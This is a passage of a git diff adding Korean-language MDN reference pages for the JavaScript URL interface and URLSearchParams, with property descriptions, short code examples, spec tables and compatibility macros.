{{domxref("URL")}} 인터페이스의 host 속성은 URL의 호스트, 즉 {{domxref("URL.hostname", "hostname")}}와 함께, {{glossary("port", "포트")}}가 존재하는 경우 ':'과 그 뒤의 {{domxref("URL.port", "port")}}를 포함하는 {{domxref("USVString")}} 문자열입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const host = url.host
+url.host = newHost
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
let url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+
+url = new URL('https://developer.mozilla.org:443/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+// The port number is not included because 443 is the scheme's default port
+
+url = new URL('https://developer.mozilla.org:4097/ko/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org:4097"
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-host', 'URL.host')}}{{Spec2('URL')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.host")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/hostname/index.html b/files/ko/web/api/url/hostname/index.html new file mode 100644 index 0000000000..c6238452e0 --- /dev/null +++ b/files/ko/web/api/url/hostname/index.html @@ -0,0 +1,59 @@ +--- +title: URL.hostname +slug: Web/API/URL/hostname +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/hostname +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 hostname 속성은 URL의 {{glossary("domain name", "도메인 이름")}}을 담은 {{domxref("USVString")}}을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const domain = url.hostname
+url.hostname = domain
+ +

+ +

{{domxref("USVString")}},

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/hostname');
+console.log(url.hostname); // Logs: 'developer.mozilla.org'
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-hostname', 'URL.hostname')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.hostname")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/href/index.html b/files/ko/web/api/url/href/index.html new file mode 100644 index 0000000000..87e33d3353 --- /dev/null +++ b/files/ko/web/api/url/href/index.html @@ -0,0 +1,59 @@ +--- +title: URL.href +slug: Web/API/URL/href +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/href +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 href 속성은 전체 URL을 담은 {{domxref("USVString")}}입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const urlString = url.href
+url.href = newUrlString
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/href');
+console.log(url.href); // Logs: 'https://developer.mozilla.org/ko/docs/Web/API/URL/href'
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-href', 'URL.href')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.href")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/index.html b/files/ko/web/api/url/index.html new file mode 100644 index 0000000000..ac29f47f05 --- /dev/null +++ b/files/ko/web/api/url/index.html @@ -0,0 +1,143 @@ +--- +title: URL +slug: Web/API/URL +tags: + - API + - Interface + - Overview + - Reference + - URI + - URL + - URL API + - Web +translation_of: Web/API/URL +--- +
{{APIRef("URL API")}}
+ +

URL 인터페이스는 {{glossary("URL")}}을 분석, 생성, 정규화, 인코딩 할 때 사용하며, URL의 각 구성요소를 쉽게 읽고 쓸 수 있는 속성을 제공합니다. URL 객체 생성은 생성자에 전체 URL 문자열, 또는 상대 URL과 기준 URL을 생성자에 전달해 진행합니다. 이렇게 생성한 URL 객체를 사용해 URL을 쉽게 바꾸거나 읽을 수 있습니다.

+ +

브라우저가 아직 {{domxref("URL.URL", "URL()")}} 생성자를 지원하지 않을 땐 {{domxref("Window")}} 인터페이스의 Window.URL 속성으로 URL 객체에 접근할 수 있습니다. 개발에 사용하기 전, 프로젝트의 지원 대상 브라우저를 확인하고, 이런 절차를 추가해야 하는지 결정하세요.

+ +

{{AvailableInWorkers}}

+ +

생성자

+ +
+
{{domxref("URL.URL", "new URL()")}}
+
주어진 절대 URL, 또는 상대 URL과 기준 URL 문자열을 사용해 생성한 URL 객체를 생성하고 반환합니다.
+
+ +

속성

+ +
+
{{domxref("URL.hash", "hash")}}
+
'#'과 URL의 프래그먼트 식별자를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.host", "host")}}
+
URL의 도메인(호스트 이름), ':', 포트를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.hostname", "hostname")}}
+
URL의 도메인을 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.href", "href")}}
+
전체 URL을 반환하는 문자열화 속성입니다.
+
{{domxref("URL.origin", "origin")}} {{readonlyInline}}
+
URL의 {{glossary("origin", "출처")}}, 즉 스킴, 도메인, 포트를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.password", "password")}}
+
도메인 이름 이전에 지정된 비밀번호를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.pathname", "pathname")}}
+
'/'와 URL의 경로를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.port", "port")}}
+
URL의 포트 번호를 담은 {{domxref("USVString")}}입니다.
+
{{domxref("URL.protocol", "protocol")}}
+
URL의 {{glossary("protocol", "프로토콜")}} 스킴을 담은 {{domxref("USVString")}}입니다. 마지막 ':'을 포함합니다.
+
{{domxref("URL.search", "search")}}
+
URL의 매개변수 문자열을 나타내는 {{domxref("USVString")}}입니다. 어떤 매개변수라도 존재하는 경우 '?' 문자로 시작해, 모든 매개변수를 포함합니다.
+
{{domxref("URL.searchParams", "searchParams")}} {{readonlyInline}}
+
search 속성의 매개변수 각각에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체입니다.
+
{{domxref("URL.username","username")}}
+
도메인 이름 이전에 지정된 사용자 이름을 담은 {{domxref("USVString")}}입니다.
+
+ +

메서드

+ +
+
{{domxref("URL.toString", "toString()")}}
+
전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일하나, toString()으로는 URL을 편집할 수 없습니다.
+
{{domxref("URL.toJSON", "toJSON()")}}
+
전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. {{domxref("URL.href")}}와 동일한 문자열을 반환합니다.
+
+ +

정적 메서드

+ +
+
{{domxref("URL.createObjectURL", "createObjectURL()")}}
+
고유한 블롭 URL, 즉 blob: 을 스킴으로 하고, 브라우저 내의 객체를 가리키는 고유한 불투명 문자열을 그 뒤에 붙인 {{domxref("DOMString")}}을 반환합니다.
+
{{domxref("URL.revokeObjectURL", "revokeObjectURL()")}}
+
이전에 {{domxref("URL.createObjectURL()")}}로 생성한 객체 URL을 취소합니다.
+
+ +

사용 일람

+ +

생성자는 url 매개변수를 받으며, URL이 상대 URL인 경우 선택적으로 base 매개변수를 지정해 기준으로 사용할 수 있습니다.

+ +
const url = new URL('../cats', 'http://www.example.com/dogs');
+console.log(url.hostname); // "www.example.com"
+console.log(url.pathname); // "/cats"
+
+ +

URL 속성을 사용해 URL을 만들 수 있습니다.

+ +
url.hash = 'tabby';
+console.log(url.href); // "http://www.example.com/cats#tabby"
+
+ +

URL은 {{RFC(3986)}}의 규칙을 따라 인코딩 됩니다.

+ +
url.pathname = 'démonstration.html';
+console.log(url.href); // "http://www.example.com/d%C3%A9monstration.html"
+
+ +

{{domxref("URLSearchParams")}} 인터페이스를 사용해 URL 쿼리 문자열을 생성하거나 조작할 수 있습니다.

+ +

현재 URL의 검색 매개변수를 가져오려면 다음과 같은 코드를 사용하세요.

+ +
// https://some.site/?id=123
+const parsedUrl = new URL(window.location.href);
+console.log(parsedUrl.searchParams.get("id")); // "123"
+ +

{{domxref("URL.toString", "toString()")}} 메서드는 단순히 {{domxref("URL.href", "href")}} 속성의 값을 반환하는 것이므로, URL 정규화와 인코딩에 생성자를 직접 사용할 수 있습니다.

+ +
const response = await fetch(new URL('http://www.example.com/démonstration.html'));
+ +

명세

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#creating-revoking', 'URL')}}{{Spec2('File API')}}Added the static methods URL.createObjectURL() and URL.revokeObjectURL().
{{SpecName('URL', '#api', 'API')}}{{Spec2('URL')}}Initial definition (implements URLUtils).
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/origin/index.html b/files/ko/web/api/url/origin/index.html new file mode 100644 index 0000000000..f3817e0285 --- /dev/null +++ b/files/ko/web/api/url/origin/index.html @@ -0,0 +1,61 @@ +--- +title: URL.origin +slug: Web/API/URL/origin +tags: + - API + - Property + - Read-only + - Reference + - URL + - URL API +translation_of: Web/API/URL/origin +--- +
{{APIRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 origin 읽기 전용 속성은 표현 중인 URL의 출처를 유니코드로 직렬화한 {{domxref("USVString")}}을 반환합니다. 정확한 구조는 URL의 유형에 따라 다릅니다.

+ + + +

{{AvailableInWorkers}}

+ +

구문

+ +
const originString = url.origin
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL("blob:https://mozilla.org:443/")
+console.log(url.origin); // Logs 'https://mozilla.org'
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-origin', 'URL.origin')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.origin")}}

diff --git a/files/ko/web/api/url/password/index.html b/files/ko/web/api/url/password/index.html new file mode 100644 index 0000000000..f944abf326 --- /dev/null +++ b/files/ko/web/api/url/password/index.html @@ -0,0 +1,61 @@ +--- +title: URL.password +slug: Web/API/URL/password +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/password +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 password 속성은 도메인 이름 이전의 비밀번호를 포함한 {{domxref("USVString")}}을 반환합니다.

+ +

{{domxref("URL.username", "username")}} 설정 전에 password를 먼저 지정하려 시도하면 조용히 실패합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const passwordString = url.password
+url.password = newPassword
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/password');
+console.log(url.password) // Logs "flabada"
+ +

구문

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-password', 'URL.password')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.password")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/pathname/index.html b/files/ko/web/api/url/pathname/index.html new file mode 100644 index 0000000000..9f097eda83 --- /dev/null +++ b/files/ko/web/api/url/pathname/index.html @@ -0,0 +1,60 @@ +--- +title: URL.pathname +slug: Web/API/URL/pathname +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/pathname +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 pathname 속성은 URL의 경로와 그 앞의 /로 이루어진 {{domxref("USVString")}}을 반환합니다. 경로가 없는 경우 빈 문자열을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const path = url.pathname
+url.pathname = newPath
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
var url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/pathname?q=value');
+var result = url.pathname; // Returns:"/ko/docs/Web/API/URL/pathname"
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-pathname', 'URL.pathname')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.pathname")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/port/index.html b/files/ko/web/api/url/port/index.html new file mode 100644 index 0000000000..a461130387 --- /dev/null +++ b/files/ko/web/api/url/port/index.html @@ -0,0 +1,61 @@ +--- +title: URL.port +slug: Web/API/URL/port +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/port +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 port 속성은 URL의 포트 숫자를 담은 {{domxref("USVString")}}입니다. URL이 명시적인 포트 번호를 포함하고 있지 않으면 빈 문자열('')입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const portNumber = url.port
+url.port = newPortNumber
+
+ +

+ +

A {{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://mydomain.com:80/svn/Repos/');
+console.log(url.port); // Logs '80'
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-port', 'URL.port')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.port")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/protocol/index.html b/files/ko/web/api/url/protocol/index.html new file mode 100644 index 0000000000..2d96b9eeec --- /dev/null +++ b/files/ko/web/api/url/protocol/index.html @@ -0,0 +1,61 @@ +--- +title: URL.protocol +slug: Web/API/URL/protocol +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/protocol +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 protocol 속성은 URL의 프로토콜 스킴과 마지막 ':'을 포함한 {{domxref("USVString")}}입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const protocol = url.protocol
+url.protocol = newProtocol
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/protocol');
+console.log(url.protocol); // Logs "https:"
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-protocol', 'protocol')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.protocol")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/revokeobjecturl/index.html b/files/ko/web/api/url/revokeobjecturl/index.html new file mode 100644 index 0000000000..7faa5e8bcc --- /dev/null +++ b/files/ko/web/api/url/revokeobjecturl/index.html @@ -0,0 +1,68 @@ +--- +title: URL.revokeObjectURL() +slug: Web/API/URL/revokeObjectURL +tags: + - API + - Method + - URL + - URL API +translation_of: Web/API/URL/revokeObjectURL +--- +
{{ApiRef("URL API")}}
+ +

URL.revokeObjectURL() 정적 메서드는 이전에 {{domxref("URL.createObjectURL()") }}을 통해 생성한 객체 URL을 해제합니다. 객체 URL을 더는 쓸 일이 없을 때 사용해서, 브라우저가 이제 해당 객체를 메모리에 들고 있지 않아도 된다고 알려주세요.

+ +

{{AvailableInWorkers}}

+ +
+

참고: 이 기능은 {{domxref("Blob")}} 인터페이스의 생명 주기 문제와 잠재적인 메모리 누수 가능성으로 인해 Service Worker에서 사용할 수 없습니다.

+
+ +

구문

+ +
URL.revokeObjectURL(objectURL)
+
+ +

매개변수

+ +
+
objectURL
+
{{domxref("URL.createObjectURL", "createObjectURL()") }}을 통해 생성한 객체 URL을 나타내는 {{domxref("DOMString")}}.
+
+ + + +

예제

+ +

객체 URL을 사용하여 이미지 표시하기를 보세요.

+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('File API', '#dfn-revokeObjectURL', 'revokeObjectURL()')}}{{Spec2('File API')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.revokeObjectURL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/search/index.html b/files/ko/web/api/url/search/index.html new file mode 100644 index 0000000000..a67b8f44b4 --- /dev/null +++ b/files/ko/web/api/url/search/index.html @@ -0,0 +1,63 @@ +--- +title: URL.search +slug: Web/API/URL/search +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/search +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 search 속성은 맨 앞의 '?'와 함께 URL의 쿼리 문자열, 즉 검색 매개변수를 나타내는 {{domxref("USVString")}}입니다.

+ +

신형 브라우저에서는 {{domxref("URL.searchParams")}} 속성을 통해 간편한 쿼리 문자열 분석을 지원합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const searchParams = object.search
+url.search = newSearchParams
+
+ +

+ +

{{domxref("USVString")}}.

+ +

Examples

+ +
const url = new URL('https://developer.mozilla.org/ko/docs/Web/API/URL/search?q=123');
+console.log(url.search); // Logs "?q=123"
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-search', 'URL.search')}}{{Spec2('URL')}}Initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.URL.search")}}

+ +

See also

+ + diff --git a/files/ko/web/api/url/searchparams/index.html b/files/ko/web/api/url/searchparams/index.html new file mode 100644 index 0000000000..b80d80c4a6 --- /dev/null +++ b/files/ko/web/api/url/searchparams/index.html @@ -0,0 +1,56 @@ +--- +title: URL.searchParams +slug: Web/API/URL/searchParams +tags: + - API + - Property + - Read-only + - Reference + - URL + - URLSearchParams +translation_of: Web/API/URL/searchParams +--- +
{{APIRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 searchParams 읽기 전용 속성은 URL 내의 {{httpmethod("GET")}} 디코딩 된 쿼리 매개변수에 접근할 수 있는 {{domxref("URLSearchParams")}} 객체를 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const urlSearchParams = url.searchParams
+ +

+ +

{{domxref("URLSearchParams")}} 객체.

+ +

예제

+ +

페이지의 URL을 https://example.com/?name=Jonathan%20Smith&age=18로 가정했을 때, nameage 매개변수는 다음과 같이 가져올 수 있습니다.

+ +
let params = (new URL(document.location)).searchParams;
+let name = params.get('name'); // is the string "Jonathan Smith".
+let age = parseInt(params.get('age')); // is the number 18
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-searchparams', 'searchParams')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.searchParams")}}

diff --git a/files/ko/web/api/url/tojson/index.html b/files/ko/web/api/url/tojson/index.html new file mode 100644 index 0000000000..f5fbf7a972 --- /dev/null +++ b/files/ko/web/api/url/tojson/index.html @@ -0,0 +1,52 @@ +--- +title: URL.toJSON() +slug: Web/API/URL/toJSON +tags: + - API + - Method + - Reference + - URL + - URL API +translation_of: Web/API/URL/toJSON +--- +
{{APIRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 toJSON() 메서드는 URL을 직렬화한 {{domxref("USVString")}}을 반환합니다. 그러나, 사실상 {{domxref("URL.toString", "toString()")}}과 같습니다..

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const href = url.toJSON()
+ +

반환 값

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL("https://developer.mozilla.org/en-US/docs/Web/API/URL/toString");
+url.toJSON(); // should return the URL as a string
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-tojson', 'toJSON()')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.toJSON")}}

diff --git a/files/ko/web/api/url/tostring/index.html b/files/ko/web/api/url/tostring/index.html new file mode 100644 index 0000000000..6a24393f4f --- /dev/null +++ b/files/ko/web/api/url/tostring/index.html @@ -0,0 +1,59 @@ +--- +title: URL.toString() +slug: Web/API/URL/toString +tags: + - API + - Method + - Reference + - URL + - URL API +translation_of: Web/API/URL/toString +--- +
{{ApiRef("URL API")}}
+ +

URL.toString() 문자열화 메서드는 전체 URL을 담은 {{domxref("USVString")}}을 반환합니다. 사실상 읽기 전용 {{domxref("URL.href")}}인 셈입니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
href = url.toString()
+ +

반환 값

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL("https://developer.mozilla.org/ko/docs/Web/API/URL/toString");
+url.toString(); // should return the URL as a string
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#URL-stringification-behavior', 'stringifier')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.toString")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/url/index.html b/files/ko/web/api/url/url/index.html new file mode 100644 index 0000000000..affcb467af --- /dev/null +++ b/files/ko/web/api/url/url/index.html @@ -0,0 +1,107 @@ +--- +title: URL() +slug: Web/API/URL/URL +tags: + - API + - Constructor + - Reference + - URL + - URL API +translation_of: Web/API/URL/URL +--- +
{{APIRef("URL API")}}
+ +

URL() 생성자는 매개변수로 제공한 URL을 나타내는 새로운 {{domxref("URL")}} 객체를 반환합니다.

+ +

주어진 기준 URL이나 결과 URL이 유효하지 않은 URL일 경우, JavaScript {{jsxref("TypeError")}} 예외가 발생합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const url = new URL(url [, base])
+
+ +

매개변수

+ +
+
url
+
절대 또는 상대 URL을 나타내는 {{domxref("USVString")}}. url이 상대 URL인 경우 base 매개변수를 기준 URL로 사용하므로 base도 필수로 지정해야 합니다. 절대 URL인 경우 base는 무시합니다.
+
base {{optional_inline}}
+
url 매개변수가 상대 URL인 경우 사용할 기준 URL을 나타내는 {{domxref("USVString")}}. 기본값은 ''입니다.
+
+ +
+

참고: base에는 기존에 존재하는 {{domxref("URL")}} 객체도 사용할 수 있습니다. 그러면 {{domxref("URI.href", "href")}} 속성을 사용해 스스로 문자열화합니다.

+
+ +

예외

+ + + + + + + + + + + + + + +
예외설명
{{jsxref("TypeError")}}절대 URL인 경우 url, 상대 URL인 경우 base + url이 유효하지 않은 URL인 경우.
+ +

예제

+ +
// Base urls
+let m = 'https://developer.mozilla.org';
+let a = new URL("/", m);                                // => 'https://developer.mozilla.org/'
+let b = new URL(m);                                     // => 'https://developer.mozilla.org/'
+
+        new URL('en-US/docs', b);                      // => 'https://developer.mozilla.org/en-US/docs'
+let d = new URL('/en-US/docs', b);                     // => 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', d);                     // => 'https://developer.mozilla.org/en-US/docs'
+        new URL('/en-US/docs', a);                     // => 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', "https://developer.mozilla.org/fr-FR/toto");
+                                                       // => 'https://developer.mozilla.org/en-US/docs'
+
+        new URL('/en-US/docs', '');                    // Raises a TypeError exception as '' is not a valid URL
+        new URL('/en-US/docs');                        // Raises a TypeError exception as '/en-US/docs' is not a valid URL
+        new URL('http://www.example.com', );           // => 'http://www.example.com/'
+        new URL('http://www.example.com', b);          // => 'http://www.example.com/'
+
+        new URL("//foo.com", "https://example.com")    // => 'https://foo.com' (see relative URLs)
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#constructors', 'URL.URL()')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.URL")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/url/username/index.html b/files/ko/web/api/url/username/index.html new file mode 100644 index 0000000000..c102ea398c --- /dev/null +++ b/files/ko/web/api/url/username/index.html @@ -0,0 +1,61 @@ +--- +title: URL.username +slug: Web/API/URL/username +tags: + - API + - Property + - Reference + - URL + - URL API +translation_of: Web/API/URL/username +--- +
{{ApiRef("URL API")}}
+ +

{{domxref("URL")}} 인터페이스의 username 속성은 도메인 이전의 사용자 이름을 담은 {{domxref("USVString")}}을 반환합니다.

+ +

{{AvailableInWorkers}}

+ +

구문

+ +
const usernameString = url.username
+url.username = newUsername
+
+ +

+ +

{{domxref("USVString")}}.

+ +

예제

+ +
const url = new URL('https://anonymous:flabada@developer.mozilla.org/en-US/docs/Web/API/URL/username');
+console.log(url.username) // Logs "anonymous"
+
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('URL', '#dom-url-username', 'username')}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URL.username")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/urlsearchparams/index.html b/files/ko/web/api/urlsearchparams/index.html new file mode 100644 index 0000000000..5491ad0b6f --- /dev/null +++ b/files/ko/web/api/urlsearchparams/index.html @@ -0,0 +1,136 @@ +--- +title: URLSearchParams +slug: Web/API/URLSearchParams +tags: + - API + - Interface + - Reference + - URL API + - URLSearchParams +translation_of: Web/API/URLSearchParams +--- +
{{ApiRef("URL API")}}
+ +

URLSearchParams 인터페이스는 URL의 쿼리 문자열에 대해 작업할 수 있는 유틸리티 메서드를 정의합니다.

+ +

URLSearchParams를 구현하는 객체는 {{jsxref("Statements/for...of", "for...of")}} 반복문에 바로 사용할 수 있습니다.

+ +
for (const [key, value] of mySearchParams) {}
+for (const [key, value] of mySearchParams.entries()) {}
+
+ +

{{availableinworkers}}

+ +

생성자

+ +
+
{{domxref("URLSearchParams.URLSearchParams", 'URLSearchParams()')}}
+
 URLSearchParams 객체 인스턴스를 반환합니다.
+
+ +

메서드

+ +
+
{{domxref("URLSearchParams.append()")}}
+
특정 키/값을 새로운 검색 매개변수로 추가합니다.
+
{{domxref("URLSearchParams.delete()")}}
+
특정 매개변수를 찾아 키와 값 모두 지웁니다.
+
{{domxref("URLSearchParams.entries()")}}
+
객체의 모든 키/값 쌍을 순회할 수 있는 {{jsxref("Iteration_protocols","순회기")}}를 반환합니다.
+
{{domxref("URLSearchParams.forEach()")}}
+
객체의 모든 값을 순회하며 지정한 콜백을 호출합니다.
+
{{domxref("URLSearchParams.get()")}}
+
주어진 검색 매개변수에 연결된 첫 번째 값을 반환합니다.
+
{{domxref("URLSearchParams.getAll()")}}
+
주어진 검색 매개변수에 연결된 모든 값을 반환합니다.
+
{{domxref("URLSearchParams.has()")}}
+
주어진 검색 매개변수의 존재 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.
+
{{domxref("URLSearchParams.keys()")}}
+
객체의 모든 키를 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.
+
{{domxref("URLSearchParams.set()")}}
+
주어진 검색 매개변수에 연결된 값을 설정합니다. 연결된 값이 다수라면 나머지는 제거합니다.
+
{{domxref("URLSearchParams.sort()")}}
+
모든 키/값 쌍을 키로 정렬합니다.
+
{{domxref("URLSearchParams.toString()")}}
+
URL에 쓰기 적합한 형태의 쿼리 문자열을 반환합니다.
+
{{domxref("URLSearchParams.values()")}}
+
객체의 모든 값을 순회할 수 있는 {{jsxref("Iteration_protocols", "순회기")}}를 반환합니다.
+
+ +

예제

+ +
var paramsString = "q=URLUtils.searchParams&topic=api";
+var searchParams = new URLSearchParams(paramsString);
+
+//Iterate the search parameters.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=api&topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+
+ +

주의점

+ +

URLSearchParams 생성자는 전체 URL을 분석하지 않습니다. 그러나, 맨 앞의 ?는 제거합니다.

+ +
var paramsString1 = "http://example.com/search?query=%40";
+var searchParams1 = new URLSearchParams(paramsString1);
+
+searchParams1.has("query"); // false
+searchParams1.has("http://example.com/search?query"); // true
+
+searchParams1.get("query"); // null
+searchParams1.get("http://example.com/search?query"); // "@" (equivalent to decodeURIComponent('%40'))
+
+var paramsString2 = "?query=value";
+var searchParams2 = new URLSearchParams(paramsString2);
+searchParams2.has("query"); // true
+
+var url = new URL("http://example.com/search?query=%40");
+var searchParams3 = new URLSearchParams(url.search);
+searchParams3.has("query") // true
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태비고
{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}{{Spec2('URL')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.URLSearchParams")}}

+ +

같이 보기

+ + + +
+
diff --git a/files/ko/web/api/urlsearchparams/tostring/index.html b/files/ko/web/api/urlsearchparams/tostring/index.html new file mode 100644 index 0000000000..45f0373dec --- /dev/null +++ b/files/ko/web/api/urlsearchparams/tostring/index.html @@ -0,0 +1,78 @@ +--- +title: URLSearchParams.toString() +slug: Web/API/URLSearchParams/toString +translation_of: Web/API/URLSearchParams/toString +--- +

{{ApiRef("URL API")}}

+ +

toString() 은 {{domxref("URLSearchParams")}} 인터페이스의 메소드로서, URL에서 사용할 수 있는 쿼리 문자열을 리턴합니다.

+ +
+

Note: 이 메소드는 물음표가 없는 쿼리 문자열을 리턴합니다. 이는 물음표를 포함하여 리턴하는 window.location.search와는 다른 부분입니다.

+
+ +

{{availableinworkers}}

+ +

Syntax

+ +
URLSearchParams.toString()
+ +

Parameters

+ +

None.

+ +

Return value

+ +

A {{domxref("DOMString")}}, without the question mark.

+ +

Examples

+ +
let url = new URL('https://example.com?foo=1&bar=2');
+let params = new URLSearchParams(url.search.slice(1));
+
